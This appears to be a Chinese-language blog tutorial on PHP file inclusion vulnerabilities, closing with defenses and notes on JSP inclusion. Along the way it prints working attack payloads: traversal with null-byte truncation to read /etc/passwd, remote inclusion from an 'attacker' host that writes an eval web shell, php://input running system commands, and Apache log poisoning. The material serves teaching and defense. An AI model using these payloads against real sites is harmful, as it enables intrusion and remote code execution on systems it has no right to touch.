[web安全] 檔案包含漏洞

navyofficer發表於2015-05-24

定義:在通過PHP的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,導致意外的檔案洩露甚至惡意的程式碼注入。

程式開發人員通常會把可重複使用的函式寫到單個檔案中,在使用某些函式時,直接呼叫此檔案,而無須再次編寫,這種呼叫檔案的過程一般被稱為包含。

程式開發人員都希望程式碼更加靈活,所以通常會將被包含的檔案設定為變數,用來進行動態呼叫,但正是由於這種靈活性,從而導致客戶端可以呼叫一個惡意檔案,造成檔案包含漏洞。
檔案包含漏洞在PHP Web Application中居多,而在JSP,ASP,ASP.NET程式中卻非常少,甚至沒有包含漏洞的存在。
PHP常見的導致檔案包含的函式如下:include(),include_once(),require(),require_once(),fopen(),readfile()
當使用前4個函式包含一個新的檔案時,只要檔案內容符合PHP語法規範,那麼任何副檔名都可以被PHP解析。包含非PHP語法規範原始檔時,將會暴露其原始碼。

後2個函式會造成敏感檔案被讀取。


要想成功利用檔案包含漏洞,需要滿足下面兩個條件:
1.include()等函式通過動態變數的方式引入需要包含的檔案。
2.使用者能夠控制該動態變數

一、本地檔案包含
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun'.$file.'.php'))
{
    include '/home/wwwrun'.$file.'.php';
}
?>

假如使用者控制$file的值為“../../etc/passwd”,那麼這段程式碼相當於include '/home/wwwrun/../../etc/passwd.php',而這個檔案顯然是不存在的。
需要用到字串截斷技巧:PHP核心是由C語言實現的,因此使用了C語言中的一些字串處理函式。在連線字串時,0位元組(\x00)將作為字串結束符。所以在這個地方,攻擊者只要在最後加入一個0位元組,就能截斷file變數之後的字串,即:../../etc/passwd\0,通過Web輸入時,只需要UrlEncode,變成../../etc/passwd%00
“../../../”的方式又被稱為“目錄遍歷”。可以通過配置PHP的open_basedir來限制,其作用是限制在某個特定目錄下PHP能開啟的檔案。例如open_basedir = D:\soft\develop\env\\sites\www.a.com\,在windows下多個目錄應當用分號隔開,在Linux下則用冒號隔開。

要解決檔案包含漏洞,一種方式是使用列舉即一種白名單的方式。

二、遠端檔案包含
如果PHP的配置選項allow_url_include為ON的話,則include/require函式是可以載入遠端檔案的,這種漏洞被稱為遠端檔案包含漏洞。
require_once $basePath . '/action/m_share.php'
攻擊者可以構造如下的攻擊URL /?param=http://attacker/phpshell.txt?
最終載入的程式碼實際上執行了 require_once 'http://attacker/phpshell.txt?/action/m_share.php'
問號後面的程式碼被解釋成URL的querystring,也是一種“截斷”,這是在利用遠端檔案包含漏洞時的常見技巧。同樣的,%00也可以用做截斷符號。

三、本地檔案包含的利用技巧
1.讀取敏感檔案
訪問URL:http://www.xxser.com/index.php?page=/etc/passwd
如果目標主機檔案存在,並且有相應的許可權,那麼就可以讀出檔案的內容。反之,就會得到一個類似於;open_basedir restriction in effect的警告。
2.遠端包含Shell
如果目標主機allow_url_fopen選項是啟用的,就可以嘗試遠端包含一句話木馬,如:http://www.attacker.com/echo.txt,程式碼如下:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
訪問:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。將會在index.php所在的目錄下生成shell.php,內容為:
<?php eval($_POST[xxser]);?>
3.本地包含配合檔案上傳
假設已經上傳一句話圖片木馬到伺服器,路徑為:/uploadfile/xxx.jpg
圖片程式碼如下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
訪問URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含這張圖片,將會在index.php所在的目錄下生成shell.php。
4.使用PHP封裝協議
4.1 使用封裝協議讀取PHP檔案
例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
訪問URL,得到經過Base64加密後的字串,這段程式碼就是Base64加密過後的PHP原始碼,解密後就可得到原本的“樣貌”。
4.2 寫入PHP檔案
在allow_url_include為On時,構造URL:http://www.example.com/index.php?page=php://input,並且提交資料為:<?php system('net user');?>
會得到net user命令的結果。
5.包含Apache日誌檔案
本地檔案包含的利用。
Apache有兩個日誌檔案:access.log(訪問日誌)和error.log(錯誤日誌)。
攻擊者先訪問http://www.example.com/<?php phpinfo();?>,操作這一步時,需要Burp,否則<,>,空格都會被轉碼。
隨後訪問http://www.xxser.com/index.php?page=./../Apache-20/logs/access.log
使用這種方式時,找到Apache的路徑是關鍵。
6.截斷包含
<?php
if(isset($_GET['page'])){
include $_GET['page'].".php";
}else{
include 'home.php';
}
?>
如果此時存在一個圖片木馬,名為1.jpg,可以輸入如下URL:http://www.example.com/index.php?page=1.jpg%00
當然這種方法只適用於magic_quotes_gpc=Off的情況下。
7.繞過WAF防火牆
圖片木馬一般不會被web防毒軟體查出來。

四、防禦方法
1.嚴格判斷包含的引數是否外部可控,因為檔案包含漏洞利用成功與否的關鍵點就在於被包含的檔案是否可被外部控制;
2.路徑限制:限制被包含的檔案只能在某一資料夾內,一定要禁止目錄跳轉字元,如:“../”;
3.包含檔案驗證:驗證被包含的檔案是否是白名單中的一員;
4.儘量不要使用動態包含,可以在需要包含的頁面固定寫好,如:include("head.php");。

後記

include和require語句是相同的,除了錯誤處理方面:
reuqire會生成致命錯誤(E_COMPILE_ERROR)並停止指令碼
include只生成錯誤報告(E_WARING),並且指令碼會繼續
require和require_once的差別是,require重複呼叫會多次載入你引用的檔案,而require_once只載入一次,而不管你實際上呼叫了多少次,主要用於複雜的檔案包含關係。
include和include_once的差別也可以以此類推。


JSP包含分兩種方式:靜態包含和動態包含。
一、靜態包含
<%@include file="page.txt"%>為JSP的靜態包含語句,靜態包含語句先進行包含,再做處理操作。
JSP語法規定,include指令為靜態包含,只允許包含一個已經存在於伺服器中的檔案,而不能使用變數來控制包含某個檔案,這就意味著使用include指令將不存在檔案包含漏洞。
二、動態包含
<jsp:inclde page="page.txt"/>為動態包含語句,在執行時會先處理被包含頁面,然後再包含,而且可以包含一個動態頁面(變數)。
但在包含一個非JSP副檔名時,即使其內容符合JSP語法規範,也會只讀取其原始碼,而不會解析其JSP程式碼。

相關文章